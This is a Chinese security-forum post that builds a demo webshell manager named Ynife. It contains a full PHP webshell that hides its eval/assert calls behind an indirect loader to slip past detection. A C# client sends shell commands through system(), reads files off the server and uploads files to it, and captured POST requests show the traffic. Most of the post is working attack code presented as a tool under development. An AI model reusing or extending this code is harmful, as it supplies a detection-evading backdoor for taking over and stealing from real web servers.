首发于奇安信攻防社区:https://forum.butian.net/share/1796
demo版,所以存在很多问题(判断连接都通过response),暂时未加加密传输,demo2版会修改为加密通信和大文件传输,断点续传,socks功能。这里测试所以就用的request方法。而非post等。
webshell:
<?php
@ini_set('display_errors','0');
if($_REQUEST['Ynife_verify'] == "verity" && $_REQUEST['Ynife_password'] == "pass"){
echo "bingo";
}
if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
if($_REQUEST['Ynife_run_flag'] == "run"){
loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
}else{
loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
}
}
function loader($a,$b){
$cc = run($b);
$a($cc);
}
function run($b){
return $b;
}
?>
他叫我约妹子去了。那我就去了。。。
首先看到webshell如何判断是否连接成功,当$_REQUEST['Ynife_verify']
为verity和$_REQUEST['Ynife_password']
等于pass的时候echo一个bingo。师傅看到这里可以就会喷了哈哈哈哈我也觉得。因为后期会改造所以暂时先将就着试试水。
这里回到c#入口函数
Program.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;namespace Ynife
{
internal class Program
{
static void Main(string[] args)
{
string url = args[0];
string password = args[1];
string res = SendData.PostRequest(url, password);
if (res == "bingo")
{
Console.WriteLine("[+]connect success");
SendExecuteCommand.SendCode(url, password);
}
else
{
Console.WriteLine("[-]connect failed");
}
}
}
}
首先接受控制台url加密码其实就是$_REQUEST['Ynife_password']
的值。然后通过SendData类的PostRequest方法发送。跟进PostRequest方法。
public static string PostRequest(string url,string password)
{
string responseData = "";
var client = new WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
client.Proxy = proxy;
var data = new NameValueCollection();
data["Ynife_password"] = password;
data["Ynife_verify"] = "verity";
byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
client.Headers.Add("ContentLength", sendData.Length.ToString());
byte[] bytes = client.UploadValues(url, "POST", data);
responseData = Encoding.UTF8.GetString(bytes);
return responseData;
}
本地测试开启了8080代理,不用关闭就行。
测试下连接
SendExecuteCommand.SendCode(url, password);
如果连接成功调用SendExecuteCommand类得SendCode方法。同样需要传参url和password。跟进SendCode方法
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Linq;
using System.Net;
using System.Text;namespace Ynife
{
public static class SendExecuteCommand
{
public static void SendCode(string url,string password)
{
while (true)
{
Console.Write(">>");
string cmd = Console.ReadLine();
if(cmd == "break" || cmd == "quit" || cmd == "exit")
{
Console.WriteLine("bye~");
break;
}
if(cmd == "help" || cmd == "h" || cmd == "?")
{
Console.WriteLine("[*]usage:\r\n h or help or ? for help");
Console.WriteLine(" break or quit or exit for exit shell");
Console.WriteLine(" upload filename for upload file");
Console.WriteLine(" download filename for download file");
}
if(cmd.Contains("upload "))
{
string upfile = cmd.Replace("upload", "").Trim();
uploadFile.upload(upfile,url,password);
continue;
}
if(cmd.Contains("download "))
{
string dwfile = cmd.Replace("download", "").Trim();
download.downloadFile(url, password, dwfile);
continue;
}
string responseData = "";
var wb = new WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
wb.Proxy = proxy;
var data = new NameValueCollection();
data["Ynife_verify"] = "run";
data["Ynife_password"] = password;
data["Ynife_run"] = "system('"+cmd+ "');@ini_set('display_errors','0');";
data["loader"] = "assert";
data["Ynife_run_loader"] = "@eval($_REQUEST['Ynife_run'])";
data["Ynife_run_flag"] = "run";
byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
wb.Headers.Add("ContentLength", sendData.Length.ToString());
byte[] bytes = wb.UploadValues(url, "POST", data);
//responseData = Encoding.UTF8.GetString(bytes);
Encoding gb2312;
gb2312 = Encoding.GetEncoding("gb2312");
responseData = gb2312.GetString(bytes);
if (responseData.Contains("yes"))
{
responseData = responseData.Replace("yes", "");
}
Console.WriteLine(responseData);
}
}
}
}
while循环当string cmd = Console.ReadLine();
cmd值为break或者quit或者exit退出循环。cmd值为help或者h或者?,使用教程。upload和download分别调用uploadFile类upload方法和download类downloadFile方法。这里先不管,先看命令执行。看到webshell。
if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
if($_REQUEST['Ynife_run_flag'] == "run"){
loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
}else{
loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
}
}
function loader($a,$b){
$cc = run($b);
$a($cc);
}
function run($b){
return $b;
}
loader方法其实就是b)。loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
就一眼看出来是个什么鬼了。为什么要这么写?问得好,因为我直接写被干了。
回到c#
string responseData = "";
var wb = new WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
wb.Proxy = proxy;
var data = new NameValueCollection();
data["Ynife_verify"] = "run";
data["Ynife_password"] = password;
data["Ynife_run"] = "system('"+cmd+ "');@ini_set('display_errors','0');";
data["loader"] = "assert";
data["Ynife_run_loader"] = "@eval($_REQUEST['Ynife_run'])";
data["Ynife_run_flag"] = "run";
byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
wb.Headers.Add("ContentLength", sendData.Length.ToString());
byte[] bytes = wb.UploadValues(url, "POST", data);
//responseData = Encoding.UTF8.GetString(bytes);
Encoding gb2312;
gb2312 = Encoding.GetEncoding("gb2312");
responseData = gb2312.GetString(bytes);
抓包看看
POST /test2.php HTTP/1.1
ContentLength: 50
Content-Type: application/x-www-form-urlencoded
Host: www.test.com
Content-Length: 191
Expect: 100-continue
Connection: closeYnife_verify=run&Ynife_password=pass&Ynife_run=system('whoami');@ini_set('display_errors','0');&loader=assert&[email protected]eval($_REQUEST['Ynife_run'])&Ynife_run_flag=run
接下来看到文件下载
if(cmd.Contains("download "))
{
string dwfile = cmd.Replace("download", "").Trim();
download.downloadFile(url, password, dwfile);
continue;
}
可以看到当cmd值为download xx的时候replace download空格为空,后面就执行download类的downloadFile方法。
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;namespace Ynife
{
public static class download
{
public static void downloadFile(string url,string password,string downloadFile)
{
try
{
string responseData = "";
var wb = new WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
wb.Proxy = proxy;
var data = new NameValueCollection();
string Ynife_run = "@eval($_REQUEST['up']);";
data["Ynife_run"] = Ynife_run;
data["Ynife_verify"] = "run";
data["Ynife_password"] = password;
data["Ynife_download"] = "true";
data["Ynife_run_loader"] = "assert";
data["up"] = "@ini_set('display_errors',+'0');$filename = '"+ downloadFile+"';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);";
byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
wb.Headers.Add("ContentLength", sendData.Length.ToString());
byte[] bytes = wb.UploadValues(url, "POST", data);
//responseData = Encoding.UTF8.GetString(bytes);
Encoding gb2312;
gb2312 = Encoding.GetEncoding("gb2312");
responseData = gb2312.GetString(bytes);
File.WriteAllBytes(downloadFile, bytes);
if (File.Exists(downloadFile))
{
Console.WriteLine("[+]download success");
}
else
{
Console.WriteLine("[-]download failed");
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}
直接看到post数据包吧。
post包:
POST /test2.php HTTP/1.1
ContentLength: 50
Content-Type: application/x-www-form-urlencoded
Host: www.test.com
Content-Length: 336
Expect: 100-continue
Connection: close[email protected]eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_download=true&Ynife_run_loader=assert&[email protected]_set('display_errors',+'0');$filename = '2.jpg';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);
利用fopen+fread。c#端通过File.WriteAllBytes写入文件。
文件上传
if(cmd.Contains("upload "))
{
string upfile = cmd.Replace("upload", "").Trim();
uploadFile.upload(upfile,url,password);
continue;
}
跟进uploadFile类的upload方法。
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;namespace Ynife
{
public static class uploadFile
{
public static void upload(string upfile,string url,string password)
{
try
{
WebClient oWeb = new System.Net.WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
oWeb.Proxy = proxy;
NameValueCollection parameters = new NameValueCollection();
string Ynife_run = "@eval($_REQUEST['up']);";
parameters.Add("Ynife_run", Ynife_run);
parameters.Add("Ynife_verify", "run");
parameters.Add("Ynife_password", password);
parameters.Add("Ynife_upload", "true");
parameters.Add("Ynife_run_loader", "assert");
parameters.Add("up", "@ini_set('display_errors',+'0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename);");
oWeb.QueryString = parameters;
var responseBytes = oWeb.UploadFile(url, upfile);
string response = Encoding.ASCII.GetString(responseBytes);
}
catch(Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}
直接抓包
POST /[email protected]eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_upload=true&Ynife_run_loader=assert&[email protected]_set('display_errors', '0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename); HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------8da75982467498c
Host: www.test.com
Content-Length: 117381
Expect: 100-continue
Connection: close-----------------------8da75982467498c
Content-Disposition: form-data; name="file"; filename="2.jpg"
Content-Type: application/octet-stream
就是调用move_uploaded_file
来进行文件上传,有点粗糙。
加下方wx,拉你一起进群学习
往期推荐
浅谈EDR绕过
tomcat原理刨析之手写tomcat
ETW的攻与防
什么?你还不会webshell免杀?(四)
初探UAF漏洞
SEH异常之编译器原理探究
什么?你还不会webshell免杀?(三)
初探栈溢出